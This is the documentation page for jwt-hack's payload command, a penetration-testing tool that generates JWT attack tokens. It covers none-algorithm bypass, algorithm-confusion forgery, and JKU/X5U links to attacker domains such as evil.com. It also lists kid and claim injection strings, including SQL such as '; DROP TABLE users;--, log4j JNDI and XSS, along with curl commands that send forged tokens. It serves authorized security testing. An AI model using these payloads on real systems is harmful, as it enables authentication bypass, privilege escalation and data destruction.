v2.6.0
ESC
Usage/commands

Payload Command

The payload command generates various JWT attack payloads for security testing and vulnerability assessment.

Basic Usage

jwt-hack payload <TOKEN> [OPTIONS]

Attack Payload Types

None Algorithm Attack

Remove signature verification requirement:

jwt-hack payload <TOKEN> --target=none

Generates payloads with:

  • alg: "none" (lowercase)
  • alg: "None" (capitalized)
  • alg: "NONE" (uppercase)
  • Various case combinations

Algorithm Confusion Attack

Convert RSA/ECDSA tokens to HMAC using the public key as the secret:

# Without a key: emits an unsigned HMAC-downgrade header + a `none` downgrade
jwt-hack payload <RSA_TOKEN> --target=alg_confusion

# With the recovered server public key: forges a FULLY SIGNED HS256 token
jwt-hack payload <RSA_TOKEN> --target=alg_confusion --public-key=./server_pub.pem

# The value may also be an inline PEM string
jwt-hack payload <RSA_TOKEN> --target=alg_confusion --public-key="$(cat server_pub.pem)"

Creates payloads that:

  • Downgrade the algorithm from RS/PS/ES/EdDSA to the matching HMAC family (HS256/384/512)
  • Use the public key content as the HMAC secret when --public-key is supplied
  • Emit a signed token per common PEM byte-normalization (as-provided, trailing-newline, no-newline) — real-world alg-confusion often fails on exact-byte mismatches, so all variants are produced to maximize the chance of a hit
  • Always include a none downgrade variant

JKU/X5U URL Attacks

Manipulate JSON Web Key URLs:

# Basic JKU/X5U attack
jwt-hack payload <TOKEN> --target=jku

# With trusted domain bypass
jwt-hack payload <TOKEN> --jwk-trust=trusted.com --jwk-attack=evil.com

# Custom protocol and attack domain
jwt-hack payload <TOKEN> --jwk-attack=attacker.com --jwk-protocol=http

Generates payloads with:

  • Malicious JKU URLs pointing to attacker-controlled keys
  • X5U URLs for certificate chain manipulation
  • Domain bypass techniques
  • Protocol downgrade attacks

KID SQL Injection

Inject SQL payloads in Key ID field:

jwt-hack payload <TOKEN> --target=kid_sql

Generates payloads with SQL injection vectors:

  • ' OR 1=1--
  • '; DROP TABLE users;--
  • ' UNION SELECT null--
  • Time-based blind SQL injection payloads

X5C Certificate Injection

Inject malicious certificate chains:

jwt-hack payload <TOKEN> --target=x5c

Creates payloads with:

  • Malicious certificate chains
  • Self-signed certificates
  • Certificate with custom extensions
  • Chain validation bypass attempts

CTY Content Type Attacks

Manipulate content type headers for XXE and deserialization:

jwt-hack payload <TOKEN> --target=cty

Generates payloads with content types for:

  • text/xml - XML External Entity (XXE) attacks
  • application/xml - XML processing vulnerabilities
  • application/x-java-serialized-object - Java deserialization
  • application/json+x-jackson-smile - Jackson deserialization

Claims (Payload) Attacks

Tamper with the token body itself (all emitted as alg:none, so they land once a signature bypass is in hand — pair with encode to re-sign once a key is recovered):

# Privilege escalation: role/roles/scope/scp/admin/isAdmin/groups/authorities/...
jwt-hack payload <TOKEN> --target=claims_privesc

# Expiry manipulation: remove/extend exp, string/overflow/negative type juggling, nbf/iat
jwt-hack payload <TOKEN> --target=claims_exp

# iss/aud/sub confusion: aud string<->array & wildcard, iss toggles, sub type juggling,
# plus a raw duplicate-key claims body
jwt-hack payload <TOKEN> --target=claims_confusion

JWE Header Confusion / DoS Probes

Exercise a server's encrypted-token (JWE) code path without real encryption — interpret results by the server's differential/DoS response, not by successful decryption:

jwt-hack payload <TOKEN> --target=jwe

Covers PBES2 p2c iteration-count DoS, alg:dir direct-key confusion, key-management alg downgrades (RSA1_5, A128KW, ECDH-ES, …), ECDH-ES invalid-curve epk injection, and JWS/JWE type confusion.

Signature Malleability

jwt-hack payload <ES_TOKEN> --target=sig_malleability

For ECDSA (ES256/384/512) tokens, produces a genuinely valid alternative signature via the classic s' = n - s high-S malleability (accepted by verifiers that don't enforce low-S), plus a DER-encoded signature variant (JWS mandates raw r||s). For any signed token it also emits structural probes — all-zero, truncated, and trailing-byte-extended signatures.

KID Injection (beyond SQL)

jwt-hack payload <TOKEN> --target=kid_injection

Injects NoSQL (including operator objects like {"$ne": null}), OS command, SSTI, LDAP, and CRLF/header-injection vectors into the kid header — the sink fires during key lookup.

Claim-value Injection

jwt-hack payload <TOKEN> --target=claim_injection

Sprays XSS, SQLi, SSTI, path-traversal, log4j JNDI, and CRLF payloads into every string-valued claim (plus a name claim), for downstream consumers that reflect claim values into HTML, SQL, templates, logs, or HTTP headers.

Generate All Payload Types

Create comprehensive attack payload set:

# Generate all attack types
jwt-hack payload <TOKEN> --target=all

# All attacks with custom domains
jwt-hack payload <TOKEN> --target=all --jwk-attack=evil.com --jwk-trust=trusted.com

Command Options

Required

  • <TOKEN> - Base JWT token for payload generation

Target Selection

  • --target <TYPE> - Payload types (comma-separated):
    • Algorithm tricks: none, alg_confusion, alg_edge, alg_family_swap, none_sig
    • Header / URL attacks: jku, x5u, ssrf, x5c, x5c_signed, cty, crit, b64, zip, typ_confusion, header_quirks, dup_key, nested, jws_json
    • Key resolution attacks: kid_sql, kid_traversal, kid_predictable, kid_wildcard, jwk_embed, jwk_embed_ec
    • Signature attacks: empty_sig, psychic, sig_malleability
    • Claims (body) attacks: claims_privesc, claims_exp, claims_confusion
    • Injection: kid_injection, claim_injection
    • JWE (encrypted JWT) probes: jwe
    • All categories: all

Algorithm Confusion Options

  • --public-key <PEM|PATH> - Server public key, as an inline PEM string or a file path. When supplied, alg_confusion forges fully signed RS/ES→HS tokens using the key bytes as the HMAC secret (also exposed over the HTTP server API and MCP tool).

JKU/X5U Attack Options

  • --jwk-trust <DOMAIN> - Trusted domain for bypass techniques
  • --jwk-attack <DOMAIN> - Attacker-controlled domain
  • --jwk-protocol <PROTOCOL> - Protocol to use (http/https, default: https)

Output Format

Payloads are displayed with:

  • Attack type identifier
  • Modified JWT token
  • Description of the attack vector
  • Usage recommendations

Example output:

🎯 None Algorithm Attack Payloads:

[1] None Algorithm (lowercase)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.

[2] None Algorithm (capitalized)
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.

[3] None Algorithm (uppercase)
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0In0.

Attack Scenarios

Testing Authentication Bypass

# Test if application accepts unsigned tokens
jwt-hack payload <TOKEN> --target=none

# Test each generated payload:
curl -H "Authorization: Bearer <NONE_PAYLOAD>" https://api.example.com/user

Algorithm Confusion Testing

# Generate algorithm confusion payloads
jwt-hack payload <RSA_TOKEN> --target=alg_confusion

# Test with public key content as HMAC secret
curl -H "Authorization: Bearer <CONFUSED_PAYLOAD>" https://api.example.com/admin

Key URL Manipulation

# Test JKU/X5U URL attacks
jwt-hack payload <TOKEN> --target=jku --jwk-attack=attacker.com

# Host malicious JWK at attacker.com/keys.json
# Test if application fetches keys from attacker URL

SQL Injection in KID

# Generate KID SQL injection payloads
jwt-hack payload <TOKEN> --target=kid_sql

# Test each payload for SQL injection responses
# Monitor application logs for SQL errors

Security Testing Workflow

1. Reconnaissance

# Decode token to understand structure
jwt-hack decode <TOKEN>

# Generate comprehensive payload set
jwt-hack payload <TOKEN> --target=all

2. Systematic Testing

# Test none algorithm bypasses
jwt-hack payload <TOKEN> --target=none

# Test each payload systematically
# Document responses and behaviors

3. Advanced Attacks

# Algorithm confusion (if RSA token)
jwt-hack payload <RSA_TOKEN> --target=alg_confusion

# URL manipulation attacks
jwt-hack payload <TOKEN> --target=jku --jwk-attack=controlled-domain.com

Payload Customization

Custom Domains

# Use specific attack domains
jwt-hack payload <TOKEN> --target=jku --jwk-attack=evil.hacker.com

# Bypass domain restrictions
jwt-hack payload <TOKEN> --target=x5u --jwk-trust=trusted.com --jwk-attack=evil.com

Protocol Selection

# Force HTTP for testing
jwt-hack payload <TOKEN> --target=jku --jwk-protocol=http --jwk-attack=attacker.com

# Test protocol downgrade vulnerabilities

Integration with Testing Frameworks

Burp Suite Integration

  1. Generate payloads with JWT-HACK
  2. Import into Burp Intruder
  3. Use as payload list for systematic testing

Custom Scripts

# Generate and test programmatically
jwt-hack payload <TOKEN> --target=all > payloads.txt

# Process payloads in custom testing script
while read payload; do
    test_jwt_payload "$payload"
done < payloads.txt

Best Practices

Responsible Testing

  • Only test applications you own or have permission to test
  • Document all findings appropriately
  • Follow responsible disclosure practices

Comprehensive Coverage

  • Test all payload types systematically
  • Combine with other testing techniques
  • Verify results manually when automated tools indicate vulnerabilities